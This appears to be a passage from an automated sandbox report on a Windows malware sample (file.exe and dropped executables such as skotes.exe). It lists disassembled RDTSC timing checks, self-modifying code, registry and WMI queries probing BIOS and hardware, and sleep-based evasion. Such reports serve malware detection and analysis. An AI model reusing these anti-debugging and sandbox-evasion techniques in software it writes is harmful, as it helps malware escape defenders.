Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BA6 second address: 5010C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 jne 00007FD97AFE1EEDh 0x0000000f pushad 0x00000010 mov bh, al 0x00000012 popad 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 jmp 00007FD908C4C6F3h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007FD908C4C6F2h 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007FD908C4C6EEh 0x0000002a sub ecx, 0933F138h 0x00000030 jmp 00007FD908C4C6EBh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 pushad 0x00000039 mov si, di 0x0000003c pushad 0x0000003d movsx edx, ax 0x00000040 mov cx, 02B9h 0x00000044 popad 0x00000045 popad 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push edx 0x0000004b pop esi 0x0000004c pushad 0x0000004d popad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010C1F second address: 5010C81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e pushfd 0x0000000f jmp 00007FD9092ECB33h 0x00000014 adc al, FFFFFFBEh 0x00000017 jmp 00007FD9092ECB39h 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov eax, 0762BF59h 0x00000027 mov ecx, 0AF6F815h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D47 second address: 5020D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D59 second address: 5020D70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D70 second address: 5020D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD908C4C6F1h 0x0000000a sub al, 00000056h 0x0000000d jmp 00007FD908C4C6F1h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D9C second address: 5020DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020DA2 second address: 5020DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ecx, 277E3A51h 0x00000010 mov cl, 2Ah 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007FD908C4C6F3h 0x00000019 add si, 8B3Eh 0x0000001e jmp 00007FD908C4C6F9h 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 movsx edi, cx 0x0000002c mov edx, ecx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020ADC second address: 5020B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 pushfd 0x00000011 jmp 00007FD9092ECB2Fh 0x00000016 adc si, F51Eh 0x0000001b jmp 00007FD9092ECB39h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B28 second address: 5020B70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 pushfd 0x00000006 jmp 00007FD908C4C6F8h 0x0000000b add al, 00000048h 0x0000000e jmp 00007FD908C4C6EBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD908C4C6F5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B70 second address: 5020BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, si 0x00000011 pushfd 0x00000012 jmp 00007FD9092ECB34h 0x00000017 xor esi, 4EF5C238h 0x0000001d jmp 00007FD9092ECB2Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BB5 second address: 5020BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BBB second address: 5020BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BBF second address: 5020BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BCE second address: 5020BE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A074D second address: 50A0753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0753 second address: 50A0757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0757 second address: 50A07C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD908C4C6F4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD908C4C6EDh 0x0000001a adc ax, 66A6h 0x0000001f jmp 00007FD908C4C6F1h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FD908C4C6F0h 0x0000002b jmp 00007FD908C4C6F5h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07C7 second address: 50A07E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, bl 0x00000010 mov eax, 4A52D8BBh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50907AB second address: 50907B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030115 second address: 5030119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030119 second address: 5030158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 call 00007FD908C4C6F4h 0x0000000e jmp 00007FD908C4C6F2h 0x00000013 pop eax 0x00000014 mov dx, 5786h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov si, dx 0x00000020 mov eax, edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030158 second address: 5030184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD9092ECB37h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030184 second address: 50301F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD908C4C6EFh 0x00000009 and eax, 77890C1Eh 0x0000000f jmp 00007FD908C4C6F9h 0x00000014 popfd 0x00000015 mov edi, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov ch, 66h 0x0000001f call 00007FD908C4C6F5h 0x00000024 jmp 00007FD908C4C6F0h 0x00000029 pop eax 0x0000002a popad 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD908C4C6ECh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090C0A second address: 5090C10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090C10 second address: 5090C98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD908C4C6EDh 0x00000011 xor si, 6016h 0x00000016 jmp 00007FD908C4C6F1h 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007FD908C4C6F1h 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 call 00007FD908C4C6ECh 0x0000002a mov ch, BBh 0x0000002c pop edi 0x0000002d jmp 00007FD908C4C6ECh 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 jmp 00007FD908C4C6F0h 0x0000003a push dword ptr [ebp+0Ch] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090C98 second address: 5090CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD9092ECB33h 0x0000000a adc esi, 55F3140Eh 0x00000010 jmp 00007FD9092ECB39h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090CD1 second address: 5090D17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD908C4C6F3h 0x00000015 jmp 00007FD908C4C6F3h 0x0000001a popfd 0x0000001b mov ch, 34h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D17 second address: 5090D59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 37B91DE9h 0x0000000e jmp 00007FD9092ECB31h 0x00000013 xor dword ptr [esp], 37B81DEBh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD9092ECB2Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D7B second address: 5090D93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D93 second address: 5090D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D97 second address: 5090D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D9D second address: 5090DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD9092ECB37h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C826D second address: 11C827B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040794 second address: 50407E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a jmp 00007FD9092ECB2Bh 0x0000000f push FFFFFFFEh 0x00000011 pushad 0x00000012 mov edx, eax 0x00000014 call 00007FD9092ECB30h 0x00000019 push eax 0x0000001a pop edi 0x0000001b pop esi 0x0000001c popad 0x0000001d call 00007FD9092ECB29h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD9092ECB38h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50407E5 second address: 5040848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD908C4C6F1h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FD908C4C6F1h 0x0000000f sub ch, FFFFFFE6h 0x00000012 jmp 00007FD908C4C6F1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FD908C4C6F1h 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD908C4C6ECh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040848 second address: 504088A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007FD9092ECB35h 0x00000014 add eax, 46C0F856h 0x0000001a jmp 00007FD9092ECB31h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504088A second address: 50408FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, 531Dh 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007FD908C4C6F3h 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov eax, 60732DCBh 0x0000001b pushfd 0x0000001c jmp 00007FD908C4C6F0h 0x00000021 sbb ecx, 423DACD8h 0x00000027 jmp 00007FD908C4C6EBh 0x0000002c popfd 0x0000002d popad 0x0000002e call 00007FD908C4C6E9h 0x00000033 jmp 00007FD908C4C6F6h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50408FD second address: 5040901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040901 second address: 504091D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50409FB second address: 5040A2D instructions: 0x00000000 rdtsc 0x00000002 mov dh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, bh 0x00000008 popad 0x00000009 nop 0x0000000a jmp 00007FD9092ECB2Ch 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007FD9092ECB30h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov eax, ebx 0x0000001d push edi 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A2D second address: 5040A67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD908C4C6EBh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD908C4C6F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A67 second address: 5040A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A77 second address: 5040A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A86 second address: 5040A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A8A second address: 5040A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040A90 second address: 5040AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d call 00007FD9092ECB2Eh 0x00000012 jmp 00007FD9092ECB32h 0x00000017 pop ecx 0x00000018 mov di, 8E56h 0x0000001c popad 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD9092ECB34h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040AE7 second address: 5040AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040AF6 second address: 5040B2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c pushad 0x0000000d mov eax, 52D18933h 0x00000012 mov edi, ecx 0x00000014 popad 0x00000015 mov eax, dword ptr [7743B370h] 0x0000001a pushad 0x0000001b mov ah, 97h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B2A second address: 5040B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xor dword ptr [ebp-08h], eax 0x00000009 jmp 00007FD908C4C6F5h 0x0000000e xor eax, ebp 0x00000010 pushad 0x00000011 mov ecx, edi 0x00000013 mov cl, bh 0x00000015 popad 0x00000016 nop 0x00000017 jmp 00007FD908C4C6F0h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD908C4C6EEh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B72 second address: 5040B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B78 second address: 5040B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B7C second address: 5040BC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FD9092ECB2Eh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 movzx esi, di 0x00000018 mov bh, F2h 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD9092ECB31h 0x00000028 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101C19A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E5B61 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101EE11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 67C19A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 845B61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 67EE11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Special instruction interceptor: First address: 1002A3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Special instruction interceptor: First address: 11CA948 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Special instruction interceptor: First address: 122A9B1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05090C6E rdtsc

0_2_05090C6E

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4817
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2744
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5388
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1101

Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

API coverage: 7.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5336	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5088	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5088	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6188	Thread sleep count: 330 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6188	Thread sleep time: -9900000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5092	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4972	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4972	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1764	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6188	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe TID: 7024	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe TID: 6468	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3604	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep count: 5388 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6456	Thread sleep count: 1101 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4508	Thread sleep count: 43 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1408	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2672	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
